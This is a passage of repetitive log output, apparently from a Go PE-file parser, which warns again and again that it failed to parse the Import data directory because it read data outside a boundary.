data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 